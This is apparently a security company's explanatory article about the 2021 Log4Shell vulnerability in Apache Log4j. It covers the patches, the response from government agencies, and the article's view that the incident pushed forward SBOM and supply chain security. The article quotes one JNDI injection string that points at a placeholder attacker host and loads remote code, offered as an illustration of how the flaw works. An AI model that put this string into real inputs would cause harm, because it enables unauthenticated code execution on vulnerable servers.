Log4Shell (CVE-2021-44228): the vulnerability that changed supply chain security

The Apache Log4j 2.x CVE-2021-44228 vulnerability disclosed on 9 December 2021: remote code execution via JNDI lookup in log messages, CVSS 10.0, global impact. The turning point accelerating SBOM, SCA and supply chain security.

Cyber SecurityOpen SourceCompliance Log4ShellLog4jCVE-2021-44228Cyber SecuritySupply ChainApacheOpen Source

9 December 2021

On 9 December 2021 the Apache Software Foundation releases a public advisory for CVE-2021-44228 — a critical vulnerability in Apache Log4j 2.x, a Java logging library used ubiquitously. The vulnerability — nicknamed Log4Shell — was discovered by Chen Zhaojun of the Alibaba Cloud Security team and responsibly reported.

CVSS v3: 10.0 (maximum). Impact: unauthenticated Remote Code Execution (RCE) via a simple input string.

The mechanism: Log4j 2.x interpreted ${jndi:ldap://attacker.com/a} expressions in log messages as JNDI lookups (Java Naming and Directory Interface), downloading and executing Java code from arbitrary LDAP servers. An attacker could, by inserting the string in any field that ended up in a log (User-Agent, HTTP header, form field), gain code execution on the server.

Why it was huge

Log4Shell hit simultaneously:

  • Ubiquity of Log4j — library used in tens of thousands of Java enterprise applications (banks, telco, public services, SaaS, video games — Minecraft server and client were among the first affected)
  • Trivial trigger — no privileges, no authentication, just insert a string
  • Immediate exploitability — public proofs-of-concept within hours
  • Deep supply chain — Log4j is a dependency of dependencies; many applications did not know they used it
  • Mass scanning — in the next 48 hours generalised scans over the internet detect millions of vulnerable systems
  • Active exploitation — exploitation documented by threat actors of all levels (criminals, APT, botnets)

The response

Apache Log4j releases patches in rapid sequence:

  • 2.15.0 (9 December) — disables JNDI lookup by default, but still exploitable in some configurations
  • 2.16.0 (13 December) — fully removes message lookup functionality
  • 2.17.0 (17 December) — fixes CVE-2021-45105 (DoS via recursive lookup)
  • 2.17.1 (28 December) — fixes CVE-2021-44832 (residual RCE)

Global SOCs work full time to identify vulnerable systems and patch them. Partial mitigations (set log4j2.formatMsgNoLookups=true, remove the JndiLookup class from the JAR) are distributed while patching proceeds.

Role of agencies and governments

Institutional response is rapid and coordinated:

  • CISA (USA) — Emergency Directive 22-02 (17 December 2021): mandatory immediate patching for federal agencies with reporting
  • NCSC-UK — national advisory
  • ANSSI (France), BSI (Germany), CCN-CERT (Spain) — advisories
  • ACN (Italian National Cybersecurity Agency, operational since August 2021) — alerts and operational guidance
  • ENISA — European coordination

The scale of institutional response reflects the real severity.

The structural message

Log4Shell is not “just” a vulnerability: it is the synthetic symptom of a series of structural problems in the open source ecosystem:

Dependence on volunteer maintainers

Log4j is maintained by three main volunteers. This is not an exception: it is the typical pattern of core open source libraries used by the whole industry but sustained by small, inadequately funded teams. The xkcd 2347 report (“Dependency”) had already popularised the meme; Log4Shell made it palpable reality.

SBOM — Software Bill of Materials

Many organisations did not know if they used Log4j. A complete and up-to-date dependency inventory was missing. The idea of SBOM (standardised in SPDX and CycloneDX) becomes absolute priority. US Executive Order 14028 (May 2021) had already introduced SBOM as a requirement for federal software; Log4Shell enormously accelerates adoption.

Supply chain security

Log4Shell shows that a bug in one library can impact half the internet. Google’s Supply-chain Levels for Software Artifacts (SLSA) programmes, Sigstore for artefact signing, OpenSSF Scorecard for evaluating OSS security practices become mainstream.

Scanning tools mature

Software Composition Analysis (SCA) becomes standard in CI/CD pipelines:

  • Dependabot (GitHub)
  • Snyk
  • OWASP Dependency-Check
  • Trivy (Aqua Security)
  • Grype (Anchore)
  • Syft for SBOM generation

In the Italian context

Italian response:

  • ACN — coordination with CSIRT Italia, alerts to critical infrastructure
  • Banks, telco, central PA — emergency patching within 72 hours
  • SMEs — many struggling to identify Log4j in dependencies; Italian MSP support services activate
  • Subsequent audits — discovery of many legacy systems with Log4j 1.x (EOL 2015, not officially vulnerable but with other CVEs)

Italy’s Log4Shell experience subsequently informs the national cybersecurity strategy 2022-2026 and the preparation for NIS2 (European directive December 2022, transposed in Italy with Legislative Decree 138/2024).

What remains

Log4Shell is a point of no return. In the following years:

  • Mandatory SBOM in many US federal contexts and via NIS2 in Europe
  • Supply chain security as a growing cyber domain
  • Funding of volunteer-maintained libraries — initiatives like Alpha-Omega (OpenSSF, 2022), GitHub Sponsors sponsorship, corporate programmes
  • SCA as a standard CI/CD component
  • Coordinated incident response among national agencies on global events

9 December 2021 made visible to all — not only to CISOs — the fragility of shared software infrastructure and the urgency of investment in open source ecosystem security that industry had taken for granted for decades.


References: CVE-2021-44228 (Log4Shell), 9 December 2021. Apache Log4j 2.x. Chen Zhaojun (Alibaba Cloud Security Team) as reporter. CVSS v3: 10.0. CISA Emergency Directive 22-02. ACN Italy. US Executive Order 14028 (May 2021). SBOM (SPDX, CycloneDX). SLSA, Sigstore, OpenSSF.

Need support? Under attack? Service Status
Need support? Under attack? Service Status